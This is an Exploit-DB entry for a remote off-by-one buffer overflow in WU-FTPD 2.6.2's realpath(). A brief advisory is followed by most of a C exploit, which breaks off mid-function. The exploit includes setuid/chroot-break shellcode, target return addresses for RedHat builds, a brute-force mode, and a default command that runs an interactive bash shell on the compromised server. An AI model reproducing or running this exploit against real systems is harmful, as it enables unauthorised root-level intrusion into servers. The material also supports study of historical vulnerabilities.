Exploit-DB #22974
Description: WU-FTPD 2.6.2 - 'realpath()' Off-by-One Buffer Overflow
Type: remote
Platform: unix
Date: 2003-08-02
Author: Xpl017Elz

Exploit:
// source: https://www.securityfocus.com/bid/8315/info

The 'realpath()' function is a C-library procedure to resolve the canonical, absolute pathname of a file based on a path that may contain values such as '/', './', '../', or symbolic links. A vulnerability that was reported to affect the implementation of 'realpath()' in WU-FTPD has lead to the discovery that at least one implementation of the C library is also vulnerable. FreeBSD has announced that the off-by-one stack- buffer-overflow vulnerability is present in their libc. Other systems are also likely vulnerable. 

Reportedly, this vulnerability has been successfully exploited against WU-FTPD to execute arbitrary instructions. 

NOTE: Patching the C library alone may not remove all instances of this vulnerability. Statically linked programs may need to be rebuilt with a patched version of the C library. Also, some applications may implement their own version of 'realpath()'. These applications would require their own patches. FreeBSD has published a large list of applications that use 'realpath()'. Administrators of FreeBSD and other systems are urged to review it. For more information, see the advisory 'FreeBSD-SA-03:08.realpath'.

/*
**
** wu-ftpd v2.6.2 off-by-one remote 0day exploit.
** Public version - 2003/08/02
**
** --
** This vulnerability was discovered by Wojciech Purczynski <cliph@isec.pl>,
** Janusz Niewiadomski <funkysh@isec.pl>.
** They offered excellent Advisory, I'm thankful to them.
**
** URL: http://isec.pl/vulnerabilities/isec-0011-wu-ftpd.txt
**
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.inetcop.org
*/
/*
** -=-= POINT! POINT! POINT! POINT! POINT! =-=-
**
** More useful version isn't going to share. (various test version)
** For reference, exploit method that use `STOR' command succeeded. :-)
**
** Update: August 2, I added wu-ftpd-2.6.2, 2.6.0, 2.6.1 finally.
**         August 3, Brute-Force function addition.
** --
** Thank you.
**
*/

#define VERSION "v0.0.3"
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define DEBUG_NG
#undef DEBUG_NG
#define NRL 0
#define SCS 1
#define FAD (-1)
#define MAX_BF (16)
#define BF_LSZ (0x100) /* 256 */
#define DEF_VA 255
#define DEF_PORT 21
#define DEF_ANSH 11
#define GET_HOST_NM_ERR (NULL)
#define SIN_ZR_SIZE 8
#define DEF_ALIGN 4
#define GET_R 5000
#define DEF_NOP 64
#define DEF_STR "x0x"
#define HOME_DIR "/home/"
#define DEF_HOST "localhost"
#define DEF_COMM "echo \"x82 is happy, x82 is happy, x82 is happy\";" \
"uname -a;id;export TERM=vt100;exec bash -i\n"
/* ftpd handshake */
#define FTP_CONN_SCS "220"
#define FTP_USER_FAD "331"
#define FTP_LOGIN_FAD "530 Login incorrect."
#define FTP_LOGIN_SCS "230"
#define CWD_COMM_SCS "250" /* also, RMD command */
#define MKD_COMM_SCS "257"
#define MKD_EXIST "521"

void ftpd_login(int sock,char *user,char *pass);
void conn_shell(int conn_sock);
int setsock(char *u_host,int u_port);
void re_connt(int st_sock_va);
void prcode_usage(char *f_nm);
int mkd_cwd_f(int sock,int type,char *dir_nm,int gb_character);
int send_shellcode(int sock,int type,char *dir_nm);
void make_send_exploit(int sock,int type,u_long sh_addr,int d_type);
int make_retloc(int sock,int type,char *atk_bf,u_long sh_addr);
u_long null_chk(u_long sh_addr);
void banrl();

struct os
{
        int num;
        char *v_nm;
        u_long sh_addr;
};
int t_g=(NRL);
char home_dir[(DEF_VA)]; /* user home directory offset */
/*
** `0xff' uses two times to be realized in our shellcode.
*/
char shellcode_ffx2[]=
        /* setuid/chroot-break/execve shellcode by Lam3rZ */
        "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb\x43\x89"
        "\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31\xc9\x8d\x5e\x01"
        "\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27\xcd\x80\x31\xc0\x8d\x5e\x01"
        "\xb0\x3d\xcd\x80\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9"
        "\xfe\xc9\x31\xc0\x8d\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31"
        "\xc0\x88\x46\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe"
        "\xc8\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89"
        "\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31\xdb\xb0"
        "\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff\x30\x62\x69\x6e\x30\x73\x68\x31"
        "\x2e\x2e\x31\x31";

struct os plat[]=
{
        /*
        ** I enjoy version up, will not share more. :-}
        */
        {
                0,"RedHat Linux 6.x Version wu-2.6.0(1) compile",0x0806a59c
        },
        {
                1,"RedHat Linux 6.x Version wu-2.6.1(1) compile",0x0806aad8
        },
        {
                2,"RedHat Linux 6.x Version wu-2.6.2(2) compile",0x0806aa60
        },
        {
                0x82,NULL,0x0
        },
        {
                0x8282,"Brute-Force mode",0x0806a082
        }
};

void prcode_usage(char *f_nm)
{
        int r_n=(NRL);
        fprintf(stdout," Usage: %s -options arguments\n\n",f_nm);
        fprintf(stdout," \t-h [hostname]   : Target hostname & ip.\n");
        fprintf(stdout," \t-u [userid]     : User id.\n");
        fprintf(stdout," \t-p [passwd]     : User password.\n");
        fprintf(stdout," \t-n [port num]   : Target port number.\n");
        fprintf(stdout," \t-s [shelladdr]  : Shellcode address.\n");
        fprintf(stdout," \t-b              : Brute-Force mode.\n");
        fprintf(stdout," \t-m [max num]    : Brute-Force Count number.\n");
        fprintf(stdout," \t-i              : help information.\n");
        fprintf(stdout," \t-t [target num] : Select target number.\n\n");
        for(r_n=(NRL);plat[r_n].v_nm!=(NULL);r_n++)
        {
                fprintf(stdout," \t\t{%d} %s.\n",(plat[r_n].num),(plat[r_n].v_nm));
        }
        fprintf(stdout,"\n Example: %s -